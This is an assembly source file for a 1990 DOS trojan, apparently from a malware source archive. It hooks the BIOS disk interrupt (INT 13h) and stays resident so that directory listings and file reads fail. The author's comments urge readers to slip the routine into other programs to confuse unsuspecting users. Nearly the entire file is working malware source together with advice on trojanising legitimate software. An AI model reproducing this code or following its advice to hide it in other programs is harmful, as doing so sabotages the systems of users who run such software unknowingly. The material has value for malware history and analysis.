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https://github.com/vxunderground/MalwareSourceCode
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70 lines
2.3 KiB
NASM
70 lines
2.3 KiB
NASM
;*****************************************************************************
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; The High Evolutionary's INT 13 Trojan
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;*****************************************************************************
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;
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; Development Notes:
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; (Dec.1O.9O)
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;
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; Well, I was screwing around with TSR's the other day and I got the idea,
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; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR
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; program answers my query.
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;
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; It's really a big mess. You can't access any file on the directory, you can't
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; DIR anything, can't TYPE anything, I think the only thing you can do is
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; DEL which is handled by INT 21.
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;
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; Well, in any event, put this routine in any nifty source code you see and
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; then compile it... It will confuse the fuck out of any 100% "Lame" user.
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;
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; Have fun...
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;
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; -= The High Evolutionary =-
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;
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;*****************************************************************************
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; Copyright (C) 199O by The RABID Nat'nl Development Corp.
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;*****************************************************************************
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code segment
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assume cs:code,ds:code
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org 100h
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start: jmp init_vectors
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mesg db 'INT 13 Trojan by The High Evolutionary'
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crud db '(C) 199O by RABID Nat''nl Development Corp.'
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crap dd ?
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program proc far
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assume cs:code,ds:nothing
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mov ax,4c00h ; Terminate Program with exit code 00
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int 21h ; Call DOS
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program endp
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;
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; The TSR initialization shit happens here...
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;
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init_vectors proc near
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assume cs:code,ds:code
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mov ah,35h ; ask for int vector
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mov al,13h ; intercept INT 13
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int 21h ; Call DOS
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mov word ptr crap,bx
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mov word ptr crap[2],es
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mov ah,25h ; set int value
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mov al,13h ; set for INT 13
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mov dx,offset program ; Tell the TSR what to do when accessed
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int 21h ; Call DOS
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mov dx,offset init_vectors ; Load in this segment into DX
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int 27h ; Make the sucker in DX TSR...
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init_vectors endp
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code ends
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end start
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